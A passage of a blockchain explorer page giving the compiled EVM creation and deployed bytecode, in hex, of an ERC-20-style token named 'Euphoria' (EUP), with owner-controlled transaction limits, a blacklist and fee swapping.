c08a4913ae272de89199cc68616360006040516110d59190612bfa565b60405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061112b33610ee9565b61116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612e33565b60405180910390fd5b60008214156111f0578273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016111ac9190612bfa565b602060405180830381865afa1580156111c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ed9190613161565b91505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b815260040161122b92919061318e565b6020604051808303816000875af115801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e91906131cc565b905092915050565b60025481565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900460ff1681565b6112c733610ee9565b611306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fd90612e33565b60405180910390fd5b60005b838390508110156113565761134584848381811061132a576113296131f9565b5b905060200201602081019061133f9190612b87565b83611f2b565b8061134f90613228565b9050611309565b50505050565b6040518060400160405280600381526020017f455550000000000000000000000000000000000000000000000000000000000081525081565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113c83384846116c7565b905092915050565b6113d933610ee9565b611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612e33565b60405180910390fd5b600581101561145c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611453906132e3565b60405180910390fd5b6103e8816004600a61146e9190613047565b66038d7ea4c680006114809190613092565b61148a9190613092565b611494919061311b565b60018190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61152d33610ee9565b61156c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156390612e33565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b6115ff33610ee9565b61163e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163590612e33565b60405180910390fd5b6000600b60146101000a81548160ff0219169083151502179055506064600981905550565b60008383111582906116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a291906129f1565b60405180910390fd5b50600083856116ba9190613303565b9050809150509392505050565b6000601260009054906101000a900460ff16156116f0576116e9848484611fc9565b9050611eda565b6116f984610ee9565b15801561170c575061170a83610ee9565b155b80156117245750600b60149054906101000a900460ff165b156118ef57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611818576000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561180c5743600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611817836001611f2b565b5b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156118ee5760144361186d9190613303565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116118ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e4906133a9565b60405180910390fd5b5b5b600d60009054906101000a900460ff1680156119185750600b60149054906101000a900460ff16155b156119ab57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a190613415565b60405180910390fd5b5b6119b484610ee9565b158015611a0b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a615750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611abb5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b505760025482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0e9190613435565b1115611b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b46906134d7565b60405180910390fd5b5b60015482111580611baa5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bfe5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3490613543565b60405180910390fd5b611c4561219c565b15611c5357611c52612273565b5b611cdc826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116639092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dc25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611dd657611dd18584866124ec565b611dd8565b825b9050611e2c81600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272f90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ecc919061293d565b60405180910390a360019150505b9392505050565b6000611f2383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611663565b905092915050565b808015611f6357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611f6d57611fc5565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000612054826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116639092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272f90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612189919061293d565b60405180910390a3600190509392505050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156122095750601260009054906101000a900460ff16155b80156122215750601060149054906101000a900460ff165b801561226e5750601154600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601260006101000a81548160ff02191690831515021790555060006011549050600080600267ffffffffffffffff8111156122b3576122b2613563565b5b6040519080825280602002602001820160405280156122e15781602001602082028036833780820191505090505b50905030816000815181106122f9576122f86131f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110612368576123676131f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b815260040161240695949392919061368b565b600060405180830381600087803b15801561242057600080fd5b505af1158015612434573d6000803e3d6000fd5b505050506000479050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161248390613716565b60006040518083038185875af1925050503d80600081146124c0576040519150601f19603f3d011682016040523d82523d6000602084013e6124c5565b606091505b505080935050505050506000601260006101000a81548160ff021916908315150217905550565b6000808314806124fd57506000600a145b1561250a57829050612728565b6000600a549050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125715760095490506125ce565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156125cd5760085490505b5b60006126146064806125e09190613092565b612606846125f8600a8a61278d90919063ffffffff16565b61278d90919063ffffffff16565b61280890919063ffffffff16565b905061266881600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612708919061293d565b60405180910390a36127238186611ee190919063ffffffff16565b925050505b9392505050565b600080828461273e9190613435565b905083811015612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277a90613777565b60405180910390fd5b8091505092915050565b6000808314156127a05760009050612802565b600082846127ae9190613092565b90508284826127bd919061311b565b146127fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f490613809565b60405180910390fd5b809150505b92915050565b600061284a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612852565b905092915050565b60008083118290612899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289091906129f1565b60405180910390fd5b50600083856128a8919061311b565b9050809150509392505050565b600080fd5b600080fd5b60008115159050919050565b6128d4816128bf565b81146128df57600080fd5b50565b6000813590506128f1816128cb565b92915050565b60006020828403121561290d5761290c6128b5565b5b600061291b848285016128e2565b91505092915050565b6000819050919050565b61293781612924565b82525050565b6000602082019050612952600083018461292e565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612992578082015181840152602081019050612977565b838111156129a1576000848401525b50505050565b6000601f19601f8301169050919050565b60006129c382612958565b6129cd8185612963565b93506129dd818560208601612974565b6129e6816129a7565b840191505092915050565b60006020820190508181036000830152612a0b81846129b8565b905092915050565b612a1c81612924565b8114612a2757600080fd5b50565b600081359050612a3981612a13565b92915050565b600060208284031215612a5557612a546128b5565b5b6000612a6384828501612a2a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9782612a6c565b9050919050565b612aa781612a8c565b8114612ab257600080fd5b50565b600081359050612ac481612a9e565b92915050565b60008060408385031215612ae157612ae06128b5565b5b6000612aef85828601612ab5565b9250506020612b0085828601612a2a565b9150509250929050565b612b13816128bf565b82525050565b6000602082019050612b2e6000830184612b0a565b92915050565b600080600060608486031215612b4d57612b4c6128b5565b5b6000612b5b86828701612ab5565b9350506020612b6c86828701612ab5565b9250506040612b7d86828701612a2a565b9150509250925092565b600060208284031215612b9d57612b9c6128b5565b5b6000612bab84828501612ab5565b91505092915050565b600060ff82169050919050565b612bca81612bb4565b82525050565b6000602082019050612be56000830184612bc1565b92915050565b612bf481612a8c565b82525050565b6000602082019050612c0f6000830184612beb565b92915050565b600080600060608486031215612c2e57612c2d6128b5565b5b6000612c3c86828701612a2a565b9350506020612c4d86828701612a2a565b9250506040612c5e86828701612a2a565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612c8d57612c8c612c68565b5b8235905067ffffffffffffffff811115612caa57612ca9612c6d565b5b602083019150836020820283011115612cc657612cc5612c72565b5b9250929050565b600080600060408486031215612ce657612ce56128b5565b5b600084013567ffffffffffffffff811115612d0457612d036128ba565b5b612d1086828701612c77565b93509350506020612d23868287016128e2565b9150509250925092565b60008060408385031215612d4457612d436128b5565b5b6000612d5285828601612ab5565b9250506020612d6385828601612ab5565b9150509250929050565b6000819050919050565b6000612d92612d8d612d8884612a6c565b612d6d565b612a6c565b9050919050565b6000612da482612d77565b9050919050565b6000612db682612d99565b9050919050565b612dc681612dab565b82525050565b6000602082019050612de16000830184612dbd565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612e1d600683612963565b9150612e2882612de7565b602082019050919050565b60006020820190508181036000830152612e4c81612e10565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000612eaf602483612963565b9150612eba82612e53565b604082019050919050565b60006020820190508181036000830152612ede81612ea2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612f6b57808604811115612f4757612f46612ee5565b5b6001851615612f565780820291505b8081029050612f6485612f14565b9450612f2b565b94509492505050565b600082612f845760019050613040565b81612f925760009050613040565b8160018114612fa85760028114612fb257612fe1565b6001915050613040565b60ff841115612fc457612fc3612ee5565b5b8360020a915084821115612fdb57612fda612ee5565b5b50613040565b5060208310610133831016604e8410600b84101617156130165782820a90508381111561301157613010612ee5565b5b613040565b6130238484846001612f21565b9250905081840481111561303a57613039612ee5565b5b81810290505b9392505050565b600061305282612924565b915061305d83612bb4565b925061308a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612f74565b905092915050565b600061309d82612924565b91506130a883612924565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130e1576130e0612ee5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061312682612924565b915061313183612924565b925082613141576131406130ec565b5b828204905092915050565b60008151905061315b81612a13565b92915050565b600060208284031215613177576131766128b5565b5b60006131858482850161314c565b91505092915050565b60006040820190506131a36000830185612beb565b6131b0602083018461292e565b9392505050565b6000815190506131c6816128cb565b92915050565b6000602082840312156131e2576131e16128b5565b5b60006131f0848285016131b7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061323382612924565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561326657613265612ee5565b5b600182019050919050565b7f43616e6e6f7420736574206d6178207472616e73616374696f6e206c6573732060008201527f7468616e20302e35250000000000000000000000000000000000000000000000602082015250565b60006132cd602983612963565b91506132d882613271565b604082019050919050565b600060208201905081810360008301526132fc816132c0565b9050919050565b600061330e82612924565b915061331983612924565b92508282101561332c5761332b612ee5565b5b828203905092915050565b7f426f75676874206265666f726520636f6e747261637420776173206c61756e6360008201527f6865640000000000000000000000000000000000000000000000000000000000602082015250565b6000613393602383612963565b915061339e82613337565b604082019050919050565b600060208201905081810360008301526133c281613386565b9050919050565b7f426c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b60006133ff600b83612963565b915061340a826133c9565b602082019050919050565b6000602082019050818103600083015261342e816133f2565b9050919050565b600061344082612924565b915061344b83612924565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134805761347f612ee5565b5b828201905092915050565b7f6d61782077616c6c6574206c696d697420726561636865640000000000000000600082015250565b60006134c1601883612963565b91506134cc8261348b565b602082019050919050565b600060208201905081810360008301526134f0816134b4565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b600061352d601183612963565b9150613538826134f7565b602082019050919050565b6000602082019050818103600083015261355c81613520565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b60006135b76135b26135ad84613592565b612d6d565b612924565b9050919050565b6135c78161359c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61360281612a8c565b82525050565b600061361483836135f9565b60208301905092915050565b6000602082019050919050565b6000613638826135cd565b61364281856135d8565b935061364d836135e9565b8060005b8381101561367e5781516136658882613608565b975061367083613620565b925050600181019050613651565b5085935050505092915050565b600060a0820190506136a0600083018861292e565b6136ad60208301876135be565b81810360408301526136bf818661362d565b90506136ce6060830185612beb565b6136db608083018461292e565b9695505050505050565b600081905092915050565b50565b60006137006000836136e5565b915061370b826136f0565b600082019050919050565b6000613721826136f3565b9150819050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613761601b83612963565b915061376c8261372b565b602082019050919050565b6000602082019050818103600083015261379081613754565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137f3602183612963565b91506137fe82613797565b604082019050919050565b60006020820190508181036000830152613822816137e6565b905091905056fea264697066735822122061b9d8cbcd4e15a37099adf986a59e5ca351a3bfacaf65412791a7e18f3c29c164736f6c634300080c0033

Deployed Bytecode

0x60806040526004361061021e5760003560e01c80636d02cc02116101235780638e2eee84116100ab578063dd62ed3e1161006f578063dd62ed3e146107fa578063e01bb68814610837578063f887ea4014610860578063fe575a871461088b578063ffb54a99146108c857610225565b80638e2eee841461071557806395d89b411461073e578063a8aa1b3114610769578063a9059cbb14610794578063bd9ab537146107d157610225565b806377b54bad116100f257806377b54bad1461062c57806378109e54146106695780637d1db4a514610694578063893d20e8146106bf578063896648c1146106ea57610225565b80636d02cc02146105705780636ddd1713146105ad57806370a08231146105d8578063715018a61461061557610225565b806323b872dd116101a6578063313ce56711610175578063313ce56714610489578063379f7207146104b45780633d9433e8146104df578063571ac8b01461050a5780636ce46bc31461054757610225565b806323b872dd146103b95780632b112e49146103f65780632f54bf6e14610421578063305c4c801461045e57610225565b8063095ea7b3116101ed578063095ea7b3146102d2578063180b0d7e1461030f57806318160ddd1461033a5780631da1db5e146103655780631df4ccfc1461038e57610225565b8063034fc0b71461022a5780630445b6671461025357806306fdde031461027e57806309302dc6146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b50610251600480360381019061024c91906128f7565b6108df565b005b34801561025f57600080fd5b50610268610944565b604051610275919061293d565b60405180910390f35b34801561028a57600080fd5b5061029361094a565b6040516102a091906129f1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190612a3f565b610983565b005b3480156102de57600080fd5b506102f960048036038101906102f49190612aca565b610a50565b6040516103069190612b19565b60405180910390f35b34801561031b57600080fd5b50610324610b42565b604051610331919061293d565b60405180910390f35b34801561034657600080fd5b5061034f610b47565b60405161035c919061293d565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612a3f565b610b6a565b005b34801561039a57600080fd5b506103a3610c19565b6040516103b0919061293d565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db9190612b34565b610c1e565b6040516103ed9190612b19565b60405180910390f35b34801561040257600080fd5b5061040b610e1e565b604051610418919061293d565b60405180910390f35b34801561042d57600080fd5b5061044860048036038101906104439190612b87565b610ee9565b6040516104559190612b19565b60405180910390f35b34801561046a57600080fd5b50610473610f42565b6040516104809190612b19565b60405180910390f35b34801561049557600080fd5b5061049e610f55565b6040516104ab9190612bd0565b60405180910390f35b3480156104c057600080fd5b506104c9610f5a565b6040516104d6919061293d565b60405180910390f35b3480156104eb57600080fd5b506104f4610f5f565b6040516105019190612bfa565b60405180910390f35b34801561051657600080fd5b50610531600480360381019061052c9190612b87565b610f85565b60405161053e9190612b19565b60405180910390f35b34801561055357600080fd5b5061056e60048036038101906105699190612c15565b610fb8565b005b34801561057c57600080fd5b5061059760048036038101906105929190612b87565b61101a565b6040516105a4919061293d565b60405180910390f35b3480156105b957600080fd5b506105c2611032565b6040516105cf9190612b19565b60405180910390f35b3480156105e457600080fd5b506105ff60048036038101906105fa9190612b87565b611045565b60405161060c919061293d565b60405180910390f35b34801561062157600080fd5b5061062a61105d565b005b34801561063857600080fd5b50610653600480360381019061064e9190612aca565b611120565b6040516106609190612b19565b60405180910390f35b34801561067557600080fd5b5061067e611276565b60405161068b919061293d565b60405180910390f35b3480156106a057600080fd5b506106a961127c565b6040516106b6919061293d565b60405180910390f35b3480156106cb57600080fd5b506106d4611282565b6040516106e19190612bfa565b60405180910390f35b3480156106f657600080fd5b506106ff6112ab565b60405161070c9190612b19565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190612ccd565b6112be565b005b34801561074a57600080fd5b5061075361135c565b60405161076091906129f1565b60405180910390f35b34801561077557600080fd5b5061077e611395565b60405161078b9190612bfa565b60405180910390f35b3480156107a057600080fd5b506107bb60048036038101906107b69190612aca565b6113bb565b6040516107c89190612b19565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f39190612a3f565b6113d0565b005b34801561080657600080fd5b50610821600480360381019061081c9190612d2d565b61149d565b60405161082e919061293d565b60405180910390f35b34801561084357600080fd5b5061085e60048036038101906108599190612b87565b611524565b005b34801561086c57600080fd5b506108756115b0565b6040516108829190612dcc565b60405180910390f35b34801561089757600080fd5b506108b260048036038101906108ad9190612b87565b6115d6565b6040516108bf9190612b19565b60405180910390f35b3480156108d457600080fd5b506108dd6115f6565b005b6108e833610ee9565b610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e90612e33565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b60115481565b6040518060400160405280600881526020017f457570686f72696100000000000000000000000000000000000000000000000081525081565b61098c33610ee9565b6109cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c290612e33565b60405180910390fd5b6005811015610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612ec5565b60405180910390fd5b6103e8816004600a610a219190613047565b66038d7ea4c68000610a339190613092565b610a3d9190613092565b610a47919061311b565b60028190555050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b30919061293d565b60405180910390a36001905092915050565b606481565b6004600a610b559190613047565b66038d7ea4c68000610b679190613092565b81565b610b7333610ee9565b610bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba990612e33565b60405180910390fd5b600060644783610bc29190613092565b610bcc919061311b565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c14573d6000803e3d6000fd5b505050565b600a81565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e0a57610d89826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116639092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e158484846116c7565b90509392505050565b6000610ee4600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed66003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546004600a610eb69190613047565b66038d7ea4c68000610ec89190613092565b611ee190919063ffffffff16565b611ee190919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600b60149054906101000a900460ff1681565b600481565b600a81565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fb1827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610a50565b9050919050565b610fc133610ee9565b611000576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff790612e33565b60405180910390fd5b816009819055508260088190555080600a81905550505050565b600c6020528060005260406000206000915090505481565b601060149054906101000a900460ff1681565b60036020528060005260406000206000915090505481565b61106633610ee9565b6110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c90612e33565b60405180910390fd5b7f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516110d59190612bfa565b60405180910390a160008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061112b33610ee9565b61116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612e33565b60405180910390fd5b60008214156111f0578273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016111ac9190612bfa565b602060405180830381865afa1580156111c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ed9190613161565b91505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b815260040161122b92919061318e565b6020604051808303816000875af115801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e91906131cc565b905092915050565b60025481565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900460ff1681565b6112c733610ee9565b611306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fd90612e33565b60405180910390fd5b60005b838390508110156113565761134584848381811061132a576113296131f9565b5b905060200201602081019061133f9190612b87565b83611f2b565b8061134f90613228565b9050611309565b50505050565b6040518060400160405280600381526020017f455550000000000000000000000000000000000000000000000000000000000081525081565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113c83384846116c7565b905092915050565b6113d933610ee9565b611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612e33565b60405180910390fd5b600581101561145c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611453906132e3565b60405180910390fd5b6103e8816004600a61146e9190613047565b66038d7ea4c680006114809190613092565b61148a9190613092565b611494919061311b565b60018190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61152d33610ee9565b61156c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156390612e33565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b6115ff33610ee9565b61163e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163590612e33565b60405180910390fd5b6000600b60146101000a81548160ff0219169083151502179055506064600981905550565b60008383111582906116ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a291906129f1565b60405180910390fd5b50600083856116ba9190613303565b9050809150509392505050565b6000601260009054906101000a900460ff16156116f0576116e9848484611fc9565b9050611eda565b6116f984610ee9565b15801561170c575061170a83610ee9565b155b80156117245750600b60149054906101000a900460ff165b156118ef57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611818576000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561180c5743600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611817836001611f2b565b5b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156118ee5760144361186d9190613303565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116118ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e4906133a9565b60405180910390fd5b5b5b600d60009054906101000a900460ff1680156119185750600b60149054906101000a900460ff16155b156119ab57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a190613415565b60405180910390fd5b5b6119b484610ee9565b